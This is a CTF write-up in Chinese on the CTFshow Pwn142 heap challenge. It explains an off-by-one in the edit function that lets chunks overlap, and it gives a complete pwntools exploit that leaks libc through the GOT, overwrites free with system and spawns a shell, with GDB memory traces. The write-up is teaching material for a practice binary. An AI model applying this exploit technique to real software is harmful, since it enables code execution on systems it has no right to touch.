CTFshow-Pwn142-Off-by-One(堆块重叠)

64 位程序,未开启 PIE

主函数提供增删改打印功能

先看 del

cpp 复制代码
free(*(void **)(*((_QWORD *)&heaparray + v1) + 8LL)); // 释放内容块 (C)
free(*((void **)&heaparray + v1));                   // 释放管理块 (M)
*((_QWORD *)&heaparray + v1) = 0LL;                   // 置零管理块指针

free 了两个堆块,看似只置零了一个堆块的指针

实际入口被封死:程序所有的 editshowdelete 函数,第一步都是检查 if (heaparray[v1]),因此不存在 uaf

接着我们看 create

依旧是管理块 + 数据块的堆题结构

cpp 复制代码
*((_QWORD *)&heaparray + i) = malloc(0x10uLL);  //管理块分配

*(_QWORD *)(v0 + 8) = malloc(size);  //数据块分配
cpp 复制代码
// 将用户输入的 size 存入管理块的开头 (Offset +0)
**((_QWORD **)&heaparray + i) = size;

// 将用户输入的内容读入管理块偏移 +8 处存的指针所指向的地址
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);

接着我们看 edit

cpp 复制代码
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);

heaparray[v1] 指向的管理块中,偏移 +8 的位置取出数据块指针 content_ptr

heaparray[v1] 指向的管理块中,偏移 +0 的位置取出之前存的 size

调用 read_inputcontent_ptr 里写数据,但长度传的是 size + 1LL ,存在 Off-by-One

然后是 show

cpp 复制代码
printf(
  "Size : %ld\nContent : %s\n",
  **((_QWORD **)&heaparray + v1),                   // 取出 size 字段
  *(const char **)(*((_QWORD *)&heaparray + v1) + 8LL) // 取出 content_ptr 并作为字符串打印
);

总结:

程序每次 add 都会申请两个块:一个固定 0x10M(管理块) 和一个自定义大小的 D(数据块)

申请 0x18 是为了让你的数据末尾刚好顶在下一个块的 Size 字段门前 。这样 edit 溢出的那 1 个字节 ,才能绕过任何填充(Padding),直接改写 M10x21。如果你申请的是 0x10,中间会留下 8 字节的空隙,溢出 1 字节只会改写到无意义的填充位。

申请 D1(数据块)为 0x10,它的物理大小也是 0x20 。此时 M1 + D1 的物理总大小正好是0x20 + 0x20 = 0x40

我们在第一步溢出时,把 M1 的 Size 从 0x21 改成了 0x41 。当你 free(1) 时,系统会刚好把这连在一起的两个块当成一个整体回收掉。

add(0x18) :利用 对齐边界 。目的是让 D0 的结尾 == M1 的开头。

add(0x10) :利用 大小凑整 。目的是让 M1 + D1 的总和 == 我们伪造出来的那个 0x40

exp:

python 复制代码
from pwn import *

context(os='linux', arch='amd64')
#io = process('./pwn')
io = gdb.debug('./pwn',
 '''
b main
c
 ''')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size, content):
    io.sendlineafter(b"choice :", b"1")
    io.sendlineafter(b"Size of Heap : ", str(size).encode())
    io.sendafter(b"Content of heap:", content)

def edit(index, content):
    io.sendlineafter(b"choice :", b"2")
    io.sendlineafter(b"Index :", str(index).encode())
    io.sendafter(b"Content of heap : ", content)

def show(index):
    io.sendlineafter(b"choice :", b"3")
    io.sendlineafter(b"Index :", str(index).encode())

def delete(index):
    io.sendlineafter(b"choice :", b"4")
    io.sendlineafter(b"Index :", str(index).encode())

add(0x18, b'aaaa') # Index 0
add(0x10, b'bbbb') # Index 1
edit(0, b"/bin/sh\x00" + b"A" * 0x10 + b"\x41")

delete(1)
free_got = elf.got['free']
payload =  p64(0x10) + p64(free_got) + b'a'*24 + p64(free_got)
add(0x30, payload)

show(1)
io.recvuntil(b"Content : ")
free_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

edit(1, p64(system_addr))
delete(0)

io.interactive()

调试:

执行完第一次 add

管理快(M0):0x3d339290

它的数据区起始于 0x3d3392a0

里面存放着两个 8 字节的数据:D0 的大小 (0x18)D0 的指针 (0x3d3392c0)

数据块(D0):0x3d3392b0

它的数据区起始于 0x3d3392c0

里面存放着我们输入的内容(aaaa

再次执行 add

可以看到我们等会 Off-by-one 的目标,也就是 管理快(M1) 的 Size

继续执行

python 复制代码
edit(0, b"/bin/sh\x00" + b"A" * 0x10 + b"\x41")

0x3d3392c0:填入了 /bin/sh\x00

0x3d3392c8:填入了 8 个 A,0x3d3392d0:填入了 8 个 A

0x3d3392d8溢出的那个 \x41 刚好覆盖了原来的 0x21

接下来 delete(1),也就是 free(D1) 和 free(M1)

D1 的地址是 0x3d3392f0(数据区在 0x3d339300),它的 Size0x21(我们没改过它)

结果:它进入了 0x20 大小的 tcachebin

M1 的地址是 0x3d3392d0(数据区在 0x3d3392e0),它的 Size 被我们改成了 0x41

因此它被放进了 0x40 大小的 tcachebin

接下来我们需要把这个 0x40 的块申请回来

python 复制代码
payload = p64(0x10) + p64(free_got) + b'a'*24 + p64(free_got)
add(0x30, payload)

这个堆块起始于0x3d3392d0,数据从 **0x3d3392e0**开始写入

add 传入的内容,前 8 字节对应内容是 size(这里可以随便填数值)

偏移+8对应内容为数据块的指针,也就是我们要覆盖的目标,这里覆盖为 free_got

再往后的 24 字节分别对应的是:M1 尾部、D1->prev_size、D1->size

D1由于堆块重叠已经被吞了,所以直接都填充垃圾数据即可 b'a'*24

但是最后的 8 字节就很玄学了,这里还是填 free_got

再往后的 8 字节就是下一个堆块(通常是 Top Chunk)的起始头部 prev_size

这里如果不想管那么多,直接全覆盖为:free_got

python 复制代码
payload = p64(free_got) * 4 

也可以打通

至此,我们已经成功将 Index 1 的指针改成了 free_got

接下来调用 show(1)

程序原本的逻辑是"打印第 1 个块的内容"。因为改了指针,它现在会去 free_got 地址处读数据。

那么我们接收 free 函数的真实地址

python 复制代码
io.recvuntil(b"Content : ")
free_addr = u64(io.recv(6).ljust(8, b'\x00'))

leak libc 后,计算基地址,进而计算 system 函数edit(1, p64(system_addr))的地址

python 复制代码
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

接下来我们劫持 GOT 表

python 复制代码
edit(1, p64(system_addr))

因为 Index 1 的指针指向 free_got,所以我们写入的 system_addr 会直接覆盖掉 GOT 表中 free 的地址

执行 edit 前,查看内存地址的值:

python 复制代码
x/gx 0x602018

显示的是 free 的真实地址

执行后,成功劫持为 system 函数的地址

最后执行:

python 复制代码
delete(0)

即:free(heaparray[0]->content_ptr)

由于前面我们已经将 "/bin/sh\x00" 写到了 0x3d3392c0 也就是 D0(Index 0 的数据块)

所以这里就是 free("/bin/sh")

但因为free_got 也被我们改成了system,所以实际执行的是:system("/bin/sh"),直接 getshell

相关推荐
计算机安禾4 小时前
【数据结构与算法】第19篇:树与二叉树的基础概念
c语言·开发语言·数据结构·c++·算法·visual studio code·visual studio
Zarek枫煜4 小时前
[特殊字符] C3语言:传承C之高效,突破C之局限
c语言·开发语言·c++·单片机·嵌入式硬件·物联网·算法
寻寻觅觅☆4 小时前
东华OJ-基础题-30-求最晚和最早日期(C++)
数据结构·c++·算法
一目Leizi5 小时前
Burp Suite实战:利用不同响应进行用户名枚举与密码爆破
运维·服务器·安全
爱编码的小八嘎5 小时前
C语言完美演绎6-11
c语言
大大打打6 小时前
7. 军用涡扇发动机全流程核心边界保护与异常工况处置
安全·涡扇发动机·发动机工作原理·军用涡扇发动机·战斗机
星辰徐哥6 小时前
C语言网络编程:TCP/IP协议栈、套接字、服务器/客户端通信深度解析
c语言·网络·tcp/ip
宇擎智脑科技6 小时前
Claude Code 源码分析(二):Shell 命令安全体系 —— AI Agent 执行终端命令的纵深防御设计
人工智能·安全·claude code
老花眼猫6 小时前
数学艺术图案画-繁花(四)
c语言·经验分享·青少年编程·游戏程序